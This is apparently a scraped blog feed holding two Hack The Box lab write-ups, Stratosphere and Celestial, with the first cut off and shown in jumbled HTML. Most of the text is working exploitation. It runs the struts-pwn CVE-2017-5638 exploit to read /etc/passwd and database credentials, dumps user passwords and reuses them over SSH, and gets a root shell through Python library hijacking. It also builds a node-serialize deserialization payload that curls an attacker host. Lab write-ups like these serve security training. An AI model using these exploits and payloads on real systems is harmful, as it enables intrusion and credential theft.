Found&amp;lt;/title&amp;gt;&amp;lt;style type=&quot;text/css&quot;&amp;gt;h1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} h2 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:16px;} h3 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;} body {font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;} b {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;} p {font-family:Tahoma,Arial,sans-serif;background:white;color:black;font-size:12px;} a {color:black;} a.name {color:black;} .line {height:1px;background-color:#525D76;border:none;}&amp;lt;/style&amp;gt;&amp;lt;/head&amp;gt;&amp;lt;body&amp;gt; | GetRequest: | HTTP/1.1 200 | Accept-Ranges: bytes | ETag: W/&quot;1708-1519762495000&quot; | Last-Modified: Tue, 27 Feb 2018 20:14:55 GMT | Content-Type: text/html | Content-Length: 1708 | Date: Thu, 30 Aug 2018 23:36:01 GMT | Connection: close | &amp;lt;!DOCTYPE html&amp;gt; | &amp;lt;html&amp;gt; | &amp;lt;head&amp;gt; | &amp;lt;meta charset=&quot;utf-8&quot;/&amp;gt; | &amp;lt;title&amp;gt;Stratosphere&amp;lt;/title&amp;gt; | &amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;main.css&quot;&amp;gt; | &amp;lt;/head&amp;gt; | &amp;lt;body&amp;gt; | &amp;lt;div id=&quot;background&quot;&amp;gt;&amp;lt;/div&amp;gt; | &amp;lt;header id=&quot;main-header&quot; class=&quot;hidden&quot;&amp;gt; | &amp;lt;div class=&quot;container&quot;&amp;gt; | &amp;lt;div class=&quot;content-wrap&quot;&amp;gt; | &amp;lt;p&amp;gt;&amp;lt;i class=&quot;fa fa-diamond&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/p&amp;gt; | &amp;lt;nav&amp;gt; | class=&quot;btn&quot; href=&quot;GettingStarted.html&quot;&amp;gt;Get started&amp;lt;/a&amp;gt; | &amp;lt;/nav&amp;gt; | &amp;lt;/div&amp;gt; | &amp;lt;/div&amp;gt; | &amp;lt;/header&amp;gt; | &amp;lt;section id=&quot;greeting&quot;&amp;gt; | &amp;lt;div class=&quot;container&quot;&amp;gt; | &amp;lt;div class=&quot;content-wrap&quot;&amp;gt; | &amp;lt;h1&amp;gt;Stratosphere&amp;lt;br&amp;gt;We protect your credit.&amp;lt;/h1&amp;gt; | class=&quot;btn&quot; href=&quot;GettingStarted.html&quot;&amp;gt;Get started now&amp;lt;/a&amp;gt; | &amp;lt;p&amp;gt;&amp;lt;i class=&quot;ar | HTTPOptions: | HTTP/1.1 200 | Allow: GET, HEAD, POST, PUT, DELETE, OPTIONS | Content-Length: 0 | Date: Thu, 30 Aug 2018 23:36:01 GMT | Connection: close | RTSPRequest: | HTTP/1.1 400 | Transfer-Encoding: chunked | Date: Thu, 30 Aug 2018 23:36:01 GMT |_ Connection: close | http-methods: |_ Potentially risky methods: PUT DELETE |_http-title: Stratosphere 2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at [https://nmap.org/cgi-bin/submit.cgi?new-service : ...[snip]... Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 64.22 seconds From our enumeration we can observe that the following services are available on the host: SSH (22), HTTP Web service (80), and what appears to be another HTTP Web service (8080). Enumerating Webservice - Port 80 Visiting the webservice on port 80 in a web browser brings us to the “Stratosphere” Web Application landing page. Most HTB boxes follow some sort of theme, or are a reference to some event. (Keeping in mind that the Equifax breach was still fresh) Clicking on the “Getting Started” URL leads us to a “Site under construction” page as seen below. Enumerating the site with gobuster reveals the following directories. It seems as though this application is running apache tomcat. Attempting to authenticate to the tomcat manager with usual default credentials fails. root@dastinia:~/htb/stratosphere# gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.64/ -x php,html -s 200,204,301,302,307,403 -t 100 | tee gobuster_strato Gobuster v1.4.1 OJ Reeves (@TheColonial) ===================================================== ===================================================== [+] Mode : dir [+] Url/Domain : http://10.10.10.64/ [+] Threads : 100 [+] Wordlist : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Status codes : 307,403,200,204,301,302 [+] Extensions : .php,.html ===================================================== /index.html (Status: 200) /manager (Status: 302) /GettingStarted.html (Status: 200) /Monitoring (Status: 302) Visiting the /Monitorting web content redirects us to to the “Stratosphere Credit Monitoring” Application. The application has a unique web file extension of .action which is associated with the Apache Struts url pattern. After some further research, we can learn that it is indeed a well-known extension for the Java WebSphere &amp;amp; Apache Struts applications. At this particular point if you are familiar with popular infosec news/events, you would know that the U.S Credit Monitoring organization known as “Equifax” was compromised through an unpatched apache struts vulnerability. Based on the similarities, and context clues of the “Stratosphere Credit Monitoring” we can maybe assume that this application is vulnerable to the “Apache Struts” RCE vulnerability. After some quick googling we come across the following PoC exploit for the Apache Struts, CVE-2017-5638 vulnerability called struts-pwn. root@dastinia:~/htb/stratosphere# git clone https://github.com/mazen160/struts-pwn.git Cloning into 'struts-pwn'... remote: Counting objects: 37, done. remote: Total 37 (delta 0), reused 0 (delta 0), pack-reused 37 Unpacking objects: 100% (37/37), done. root@dastinia:~/htb/stratosphere# cd struts-pwn/ root@dastinia:~/htb/stratosphere/struts-pwn# pip install -r requirements.txt Requirement already satisfied: argparse in /usr/lib/python2.7 (from -r requirements.txt (line 1)) Requirement already satisfied: requests in /usr/lib/python2.7/dist-packages (from -r requirements.txt (line 2)) validating that the application is vulnerble with struts-pwn root@dastinia:~/htb/stratosphere/struts-pwn# python struts-pwn.py -h usage: struts-pwn.py [-h] [-u URL] [-l USEDLIST] [-c CMD] [--check] optional arguments: -h, --help show this help message and exit -u URL, --url URL Check a single URL. -l USEDLIST, --list USEDLIST Check a list of URLs. -c CMD, --cmd CMD Command to execute. (Default: id) --check Check if a target is vulnerable. root@dastinia:~/htb/stratosphere/struts-pwn# python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Welcome.action --check [*] URL: http://10.10.10.64/Monitoring/example/Welcome.action [*] Status: Vulnerable! [%] Done. verifying that we have remote code execution root@dastinia:~/htb/stratosphere/struts-pwn# python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Welcome.action -c &quot;id; uname -a&quot; [*] URL: http://10.10.10.64/Monitoring/example/Welcome.action [*] CMD: id; uname -a [!] ChunkedEncodingError Error: Making another request to the url. Refer to: https://github.com/mazen160/struts-pwn/issues/8 for help. EXCEPTION::::--&amp;gt; ('Connection broken: IncompleteRead(0 bytes read)', IncompleteRead(0 bytes read)) Note: Server Connection Closed Prematurely uid=115(tomcat8) gid=119(tomcat8) groups=119(tomcat8) Linux stratosphere 4.9.0-6-amd64 #1 SMP Debian 4.9.82-1+deb9u2 (2018-02-21) x86_64 GNU/Linux [%] Done. Now that we know we have successful remote code execution, lets try to escalate our privileges further, and look into getting an interactive shell. Exploitation Exploiting Apache Struts RCE with Struts-Pwn reading contents of /etc/passwd root@dastinia:~/htb/stratosphere/struts-pwn# python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Welcome.action -c &quot;cat /etc/passwd&quot; [*] URL: http://10.10.10.64/Monitoring/example/Welcome.action [*] CMD: cat /etc/passwd [!] ChunkedEncodingError Error: Making another request to the url. Refer to: https://github.com/mazen160/struts-pwn/issues/8 for help. EXCEPTION::::--&amp;gt; ('Connection broken: IncompleteRead(0 bytes read)', IncompleteRead(0 bytes read)) Note: Server Connection Closed Prematurely root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin ...[snip]... sshd:x:110:65534::/run/sshd:/usr/sbin/nologin lightdm:x:111:113:Light Display Manager:/var/lib/lightdm:/bin/false pulse:x:112:114:PulseAudio daemon,,,:/var/run/pulse:/bin/false avahi:x:113:117:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false saned:x:114:118::/var/lib/saned:/bin/false richard:x:1000:1000:Richard F Smith,,,:/home/richard:/bin/bash tomcat8:x:115:119::/var/lib/tomcat8:/bin/bash mysql:x:116:120:MySQL Server,,,:/nonexistent:/bin/false [%] Done. Lets see what files are available to us in the current working directory of this struts application… listing contents of current working directory root@dastinia:~/htb/stratosphere/struts-pwn# python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Welcome.action -c &quot;ls -la&quot; [*] URL: http://10.10.10.64/Monitoring/example/Welcome.action [*] CMD: ls -la [!] ChunkedEncodingError Error: Making another request to the url. Refer to: https://github.com/mazen160/struts-pwn/issues/8 for help. EXCEPTION::::--&amp;gt; ('Connection broken: IncompleteRead(0 bytes read)', IncompleteRead(0 bytes read)) Note: Server Connection Closed Prematurely total 24 drwxr-xr-x 5 root root 4096 Aug 30 19:46 . drwxr-xr-x 42 root root 4096 Oct 3 2017 .. lrwxrwxrwx 1 root root 12 Sep 3 2017 conf -&amp;gt; /etc/tomcat8 -rw-r--r-- 1 root root 68 Oct 2 2017 db_connect drwxr-xr-x 2 tomcat8 tomcat8 4096 Sep 3 2017 lib lrwxrwxrwx 1 root root 17 Sep 3 2017 logs -&amp;gt; ../../log/tomcat8 drwxr-xr-x 2 root root 4096 Aug 30 19:46 policy drwxrwxr-x 4 tomcat8 tomcat8 4096 Feb 10 2018 webapps lrwxrwxrwx 1 root root 19 Sep 3 2017 work -&amp;gt; ../../cache/tomcat8 [%] Done. getting the contents of db_connect root@dastinia:~/htb/stratosphere/struts-pwn# python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Welcome.action -c &quot;cat db_connect&quot; [*] URL: http://10.10.10.64/Monitoring/example/Welcome.action [*] CMD: cat db_connect [!] ChunkedEncodingError Error: Making another request to the url. Refer to: https://github.com/mazen160/struts-pwn/issues/8 for help. EXCEPTION::::--&amp;gt; ('Connection broken: IncompleteRead(0 bytes read)', IncompleteRead(0 bytes read)) Note: Server Connection Closed Prematurely [ssn] user=ssn_admin pass=AWs64@on*&amp;amp; [users] user=admin pass=admin [%] Done. It seems as though there is a database running on the server. We can enumerate the mysql database through the apache struts exploit. Using the mysql -e parameter we can run mysql commands non-interactively, and receive the output of the queries through stdout. root@dastinia:~/htb/stratosphere/struts-pwn# python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Welcome.action --cmd 'mysql --user=admin --password=admin -e &quot;show databases;&quot;' [*] URL: http://10.10.10.64/Monitoring/example/Welcome.action [*] CMD: mysql --user=admin --password=admin -e &quot;show databases;&quot; [!] ChunkedEncodingError Error: Making another request to the url. Refer to: https://github.com/mazen160/struts-pwn/issues/8 for help. EXCEPTION::::--&amp;gt; ('Connection broken: IncompleteRead(0 bytes read)', IncompleteRead(0 bytes read)) Note: Server Connection Closed Prematurely Database information_schema users [%] Done. enumerating the tables within the mysql ‘users’ database root@dastinia:~/htb/stratosphere/struts-pwn# python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Welcome.action --cmd 'mysql --user=admin --password=admin -e &quot;use users; show tables;&quot;' [*] URL: http://10.10.10.64/Monitoring/example/Welcome.action [*] CMD: mysql --user=admin --password=admin -e &quot;use users; show tables;&quot; [!] ChunkedEncodingError Error: Making another request to the url. Refer to: https://github.com/mazen160/struts-pwn/issues/8 for help. EXCEPTION::::--&amp;gt; ('Connection broken: IncompleteRead(0 bytes read)', IncompleteRead(0 bytes read)) Note: Server Connection Closed Prematurely Tables_in_users accounts [%] Done. receiving the contents of the accounts table root@dastinia:~/htb/stratosphere/struts-pwn# python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Welcome.action --cmd 'mysql --user=admin --password=admin -e &quot;use users; select * from users.accounts;&quot;' [*] URL: http://10.10.10.64/Monitoring/example/Welcome.action [*] CMD: mysql --user=admin --password=admin -e &quot;use users; select * from users.accounts;&quot; [!] ChunkedEncodingError Error: Making another request to the url. Refer to: https://github.com/mazen160/struts-pwn/issues/8 for help. EXCEPTION::::--&amp;gt; ('Connection broken: IncompleteRead(0 bytes read)', IncompleteRead(0 bytes read)) Note: Server Connection Closed Prematurely fullName password username Richard F. Smith 9tc*rhKuG5TyXvUJOrE^5CK7k richard [%] Done. Attempting to ssh into the box using the richard account, and the password of 9tc*rhKuG5TyXvUJOrE^5CK7k from the mysql database results in root@dastinia:~/htb/stratosphere/struts-pwn# ssh richard@10.10.10.64 The authenticity of host '10.10.10.64 (10.10.10.64)' can't be established. ECDSA key fingerprint is SHA256:tQZo8j1TeVASPxWyDgqJf8PaDZJV/+LeeBZnjueAW/E. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '10.10.10.64' (ECDSA) to the list of known hosts. richard@10.10.10.64's password: Linux stratosphere 4.9.0-6-amd64 #1 SMP Debian 4.9.82-1+deb9u2 (2018-02-21) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Fri Aug 31 12:57:51 2018 from 10.10.14.108 richard@stratosphere:~$ id uid=1000(richard) gid=1000(richard) groups=1000(richard),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(lpadmin),116(scanner) richard@stratosphere:~$ uname -a Linux stratosphere 4.9.0-6-amd64 #1 SMP Debian 4.9.82-1+deb9u2 (2018-02-21) x86_64 GNU/Linux richard@stratosphere:~$ cat user.txt e610b...[snip]... Privilege Escalation Upon sshing into the box we see a script called test.py (contents below) which seems to be some sort of a game where we need to find the plaintext for various hashes, at the end of the line we see a call to os.system('/root/sucess.py') We also seem to be able to run the test.py file as the root user, from the output of the sudo -l command. richard@stratosphere:~$ sudo -l Matching Defaults entries for richard on stratosphere: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User richard may run the following commands on stratosphere: (ALL) NOPASSWD: /usr/bin/python* /home/richard/test.py contents of test.py file richard@stratosphere:~$ cat test.py #!/usr/bin/python3 import hashlib def question(): q1 = input(&quot;Solve: 5af003e100c80923ec04d65933d382cb\n&quot;) md5 = hashlib.md5() md5.update(q1.encode()) if not md5.hexdigest() == &quot;5af003e100c80923ec04d65933d382cb&quot;: print(&quot;Sorry, that's not right&quot;) return print(&quot;You got it!&quot;) q2 = input(&quot;Now what's this one? d24f6fb449855ff42344feff18ee2819033529ff\n&quot;) sha1 = hashlib.sha1() sha1.update(q2.encode()) if not sha1.hexdigest() == 'd24f6fb449855ff42344feff18ee2819033529ff': print(&quot;Nope, that one didn't work...&quot;) return print(&quot;WOW, you're really good at this!&quot;) q3 = input(&quot;How about this? 91ae5fc9ecbca9d346225063f23d2bd9\n&quot;) md4 = hashlib.new('md4') md4.update(q3.encode()) if not md4.hexdigest() == '91ae5fc9ecbca9d346225063f23d2bd9': print(&quot;Yeah, I don't think that's right.&quot;) return print(&quot;OK, OK! I get it. You know how to crack hashes...&quot;) q4 = input(&quot;Last one, I promise: 9efebee84ba0c5e030147cfd1660f5f2850883615d444ceecf50896aae083ead798d13584f52df0179df0200a3e1a122aa738beff263b49d2443738eba41c943\n&quot;) blake = hashlib.new('BLAKE2b512') blake.update(q4.encode()) if not blake.hexdigest() == '9efebee84ba0c5e030147cfd1660f5f2850883615d444ceecf50896aae083ead798d13584f52df0179df0200a3e1a122aa738beff263b49d2443738eba41c943': print(&quot;You were so close! urg... sorry rules are rules.&quot;) return import os os.system('/root/success.py') return question() Running all the hashes through JTR we discover that the plaintext for the hashes are as follows: Algo Hash Plaintext MD5 5af003e100c80923ec04d65933d382cb kaybboo! SHA1 d24f6fb449855ff42344feff18ee2819033529ff ninjaabisshinobi MD4 91ae5fc9ecbca9d346225063f23d2bd9 legend72 BLAKE2b512 hash redacted too long! Fhero6610 Successfully solving the challenge results in a Permissioned denied on the the sucess.py script so it seems that this may have been a false flag, and we need to do further enumeration for the proper priv. esc vector. solving test.py richard@stratosphere:~$ /usr/bin/python3 /home/richard/test.py Solve: 5af003e100c80923ec04d65933d382cb kaybboo! You got it! Now what's this one? d24f6fb449855ff42344feff18ee2819033529ff ninjaabisshinobi WOW, you're really good at this! How about this? 91ae5fc9ecbca9d346225063f23d2bd9 legend72 OK, OK! I get it. You know how to crack hashes... Last one, I promise: 9efebee84ba0c5e030147cfd1660f5f2850883615d444ceecf50896aae083ead798d13584f52df0179df0200a3e1a122aa738beff263b49d2443738eba41c943 Fhero6610 sh: 1: /root/success.py: Permission denied Root via Python Library Hijacking After researching a bit about privilege escalations related to python, you will come across the following blog-post about how to escalate privileges through python library hijacking If you are familiar with the concept of DLL Search Order Hijacking for the Windows Operating system it’s a similar concept. In order to exploit this vulnerability, all we have to do is create a python module (that our target script is importing) in the directory of the script that we are attempting to run. Since the test.py script imports the hashlib library we will create a hashlib.py python module, which will load our code over the original hashlib python module. contents of our hashlib.py python file richard@stratosphere:~$ cat hashlib.py import pty pty.spawn(&quot;/bin/sh&quot;)</summary></entry><entry><title type="html">Hack the Box - Celestial Write up</title><link href="https://dastinia.io/write-up/hackthebox/2018/08/25/hackthebox-celestial-writeup/" rel="alternate" type="text/html" title="Hack the Box - Celestial Write up" /><published>2018-08-25T00:00:00-04:00</published><updated>2018-08-25T00:00:00-04:00</updated><id>https://dastinia.io/write-up/hackthebox/2018/08/25/hackthebox-celestial-writeup</id><content type="html" xml:base="https://dastinia.io/write-up/hackthebox/2018/08/25/hackthebox-celestial-writeup/">&lt;p align=&quot;center&quot;&gt;
&lt;img src=&quot;https://dastinia.io/assets/images/htb/celestial/1.png&quot; alt=&quot;celestial&quot; /&gt;
&lt;/p&gt;

&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;

&lt;p&gt;Celestial was an interesting but very straight forward box. I personally believe Celestial was a good HTB box for learning how to perform quick research to tackle a specific vulnerability in an application that you may not encounter often. As one of the first boxes I completed when I first joined HTB it’s sad to see it go.&lt;/p&gt;

&lt;h2 id=&quot;tools-used&quot;&gt;Tools Used&lt;/h2&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://nmap.org/&quot;&gt;Nmap&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://portswigger.net/&quot;&gt;BurpSuite&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/craSH/socat&quot;&gt;socat&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;enumeration&quot;&gt;Enumeration&lt;/h2&gt;

&lt;h3 id=&quot;initial-scanning&quot;&gt;Initial Scanning&lt;/h3&gt;

&lt;p&gt;Like with every HTB machine, lets begin with an nmap scan against &lt;em&gt;Celestial&lt;/em&gt; (10.10.10.85)&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@dastinia:~/htb/celestial# nmap -sV -sC -v -Pn --max-rate 500  10.10.10.85 -oA nmap/celestial_initial_scan 
Starting Nmap 7.70 ( https://nmap.org ) at 2018-08-22 18:45 EDT
...[snip]...
Host is up (0.15s latency).
Not shown: 999 closed ports
PORT     STATE SERVICE VERSION
3000/tcp open  http    Node.js Express framework
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (text/html; charset=utf-8).

NSE: Script Post-scanning.
Initiating NSE at 18:45
Completed NSE at 18:45, 0.00s elapsed
Initiating NSE at 18:45
Completed NSE at 18:45, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.90 seconds
           Raw packets sent: 1127 (49.588KB) | Rcvd: 1109 (44.364KB)

&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;After allowing a full port scan to run in the background, we discover that only port &lt;em&gt;3000&lt;/em&gt; is open externally on the box.&lt;/p&gt;

&lt;h3 id=&quot;enumerating-nodejs---port-3000&quot;&gt;Enumerating NodeJS - Port 3000&lt;/h3&gt;

&lt;p&gt;Visiting the nodejs application on port 3000 in a browser brings us to the following page stating that 2 + 2 is 22.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb/celestial/2.png&quot; alt=&quot;&amp;quot;NodeJS Application Landing Page&amp;quot;&quot; title=&quot;NodeJS Application Landing Page&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Attempting to enumerate the service with gobuster revealed no actionable results.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@dastinia:~/htb/celestial# gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u  http://10.10.10.85:3000 -x php,html -s 200,204,301,302,307,403 -t 100 | tee gobuster_celestial

Gobuster v1.4.1              OJ Reeves (@TheColonial)
=====================================================
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://10.10.10.85:3000/
[+] Threads      : 100
[+] Wordlist     : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes : 307,403,200,204,301,302
[+] Extensions   : .php,.html
=====================================================
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;Inspecting the request in burp we can observe a cookie being set by the server with the key &lt;em&gt;profile&lt;/em&gt;. This stands out because from the cookie string this is likely base64 encoded &lt;code class=&quot;highlighter-rouge&quot;&gt;json&lt;/code&gt; data which we can tell by the following indicator &lt;code class=&quot;highlighter-rouge&quot;&gt;_ey_&lt;/code&gt;, and that the data is most likely url encoded as well by the &lt;code class=&quot;highlighter-rouge&quot;&gt;%3D%3D&lt;/code&gt;, which is the url-encoded version of &lt;code class=&quot;highlighter-rouge&quot;&gt;==&lt;/code&gt; at the end of the cookie string.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb/celestial/3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Using Burp Suite’s Decoder module, we first URL decode the original string, then base64 decode the resultant data to get our original json object.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb/celestial/4.png&quot; alt=&quot;&amp;quot;Decoding Cookie&amp;quot;&quot; title=&quot;Decoding Cookie&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&quot;username&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;Dummy&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&quot;country&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;Idk Probably Somewhere Dumb&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&quot;city&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;Lametown&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&quot;num&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;2&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;After some googling for “NodeJS” vulnerabilities, you will come across the following articles for CVE-2017-5941 a NodeJS deserialization vulnerability.&lt;/p&gt;

&lt;p&gt;To sum up the vulnerability - the http cookie value is passed to an unserialze() function, and since we (the attacker) have control over the cookie, we can craft a payload that will exploit the vulnerability.&lt;/p&gt;

&lt;p&gt;References: &lt;a href=&quot;https://krfilms.net/v-exploiting-node-js-deserialization-bug-for-remote-code-execution-GFacPoWOcw0.html&quot;&gt;1&lt;/a&gt; - &lt;a href=&quot;https://hd7exploit.wordpress.com/2017/05/29/exploiting-node-js-deserialization-bug-for-remote-code-execution-cve-2017-5941/&quot;&gt;2&lt;/a&gt; - &lt;a href=&quot;https://www.cnblogs.com/yx20145312/p/7020206.html&quot;&gt;3&lt;/a&gt; - &lt;a href=&quot;https://vulners.com/myhack58/MYHACK58:62201783324&quot;&gt;4&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;exploitation&quot;&gt;Exploitation&lt;/h2&gt;

&lt;p&gt;Using the following tool: &lt;a href=&quot;https://github.com/hoainam1989/training-application-security/blob/master/shell/node_shell.py&quot;&gt;Node_Shell&lt;/a&gt; we can craft a payload to exploit this de-serialization vulnerability.&lt;/p&gt;

&lt;p&gt;Lets first create a small test payload to validate that this is an exploitable vulnerability…&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@dastinia:~/htb/celestial# python node_shell.py -c &quot;curl http://10.10.15.10/hello&quot; -o -e

    =======&amp;gt; Happy hacking &amp;lt;======


    {&quot;run&quot;: &quot;_$$ND_FUNC$$_function (){eval(String.fromCharCode(10,32,32,32,32,32,32,32,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,40,39,99,117,114,108,32,104,116,116,112,58,47,47,49,48,46,49,48,46,49,53,46,49,48,47,104,101,108,108,111,39,44,32,102,117,110,99,116,105,111,110,40,101,114,114,111,114,44,32,115,116,100,111,117,116,44,32,115,116,100,101,114,114,41,32,123,10,32,32,32,32,32,32,32,32,32,32,32,32,99,111,110,115,111,108,101,46,108,111,103,40,101,114,114,111,114,41,10,32,32,32,32,32,32,32,32,32,32,32,32,99,111,110,115,111,108,101,46,108,111,103,40,115,116,100,111,117,116,41,10,32,32,32,32,32,32,32,32,125,41,10,32,32,32,32,32,32,32,32))}()&quot;}

&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;We will take the take the json object, and base64 encode it.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@dastinia:~/htb/celestial# echo -n '{&quot;run&quot;: &quot;_$$ND_FUNC$$_function (){eval(String.fromCharCode(10,32,32,32,32,32,32,32,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,40,39,99,117,114,108,32,104,116,116,112,58,47,47,49,48,46,49,48,46,49,53,46,49,48,47,104,101,108,108,111,39,44,32,102,117,110,99,116,105,111,110,40,101,114,114,111,114,44,32,115,116,100,111,117,116,44,32,115,116,100,101,114,114,41,32,123,10,32,32,32,32,32,32,32,32,32,32,32,32,99,111,110,115,111,108,101,46,108,111,103,40,101,114,114,111,114,41,10,32,32,32,32,32,32,32,32,32,32,32,32,99,111,110,115,111,108,101,46,108,111,103,40,115,116,100,111,117,116,41,10,32,32,32,32,32,32,32,32,125,41,10,32,32,32,32,32,32,32,32))}()&quot;}' | base64
eyJydW4iOiAiXyQkTkRfRlVOQyQkX2Z1bmN0aW9uICgpe2V2YWwoU3RyaW5nLmZyb21DaGFyQ29k
ZSgxMCwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiwxMTQsMTAxLDExMywxMTcsMTA1LDExNCwxMDEs
NDAsMzksOTksMTA0LDEwNSwxMDgsMTAwLDk1LDExMiwxMTQsMTExLDk5LDEwMSwxMTUsMTE1LDM5
LDQxLDQ2LDEwMSwxMjAsMTAxLDk5LDQwLDM5LDk5LDExNywxMTQsMTA4LDMyLDEwNCwxMTYsMTE2
LDExMiw1OCw0Nyw0Nyw0OSw0OCw0Niw0OSw0OCw0Niw0OSw1Myw0Niw0OSw0OCw0NywxMDQsMTAx
LDEwOCwxMDgsMTExLDM5LDQ0LDMyLDEwMiwxMTcsMTEwLDk5LDExNiwxMDUsMTExLDExMCw0MCwx
MDEsMTE0LDExNCwxMTEsMTE0LDQ0LDMyLDExNSwxMTYsMTAwLDExMSwxMTcsMTE2LDQ0LDMyLDEx
NSwxMTYsMTAwLDEwMSwxMTQsMTE0LDQxLDMyLDEyMywxMCwzMiwzMiwzMiwzMiwzMiwzMiwzMiwz
MiwzMiwzMiwzMiwzMiw5OSwxMTEsMTEwLDExNSwxMTEsMTA4LDEwMSw0NiwxMDgsMTExLDEwMyw0
MCwxMDEsMTE0LDExNCwxMTEsMTE0LDQxLDEwLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMy
LDMyLDMyLDk5LDExMSwxMTAsMTE1LDExMSwxMDgsMTAxLDQ2LDEwOCwxMTEsMTAzLDQwLDExNSwx
MTYsMTAwLDExMSwxMTcsMTE2LDQxLDEwLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDEyNSw0MSwx
MCwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMikpfSgpIn0=
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;Now all we have to do is intercept a request, while setting the &lt;code class=&quot;highlighter-rouge&quot;&gt;profile&lt;/code&gt; cookie, remembering to urlencode any &lt;code class=&quot;highlighter-rouge&quot;&gt;=&lt;/code&gt; characters we have with &lt;code class=&quot;highlighter-rouge&quot;&gt;%3D&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Doing so results in successful code execution.&lt;/p&gt;

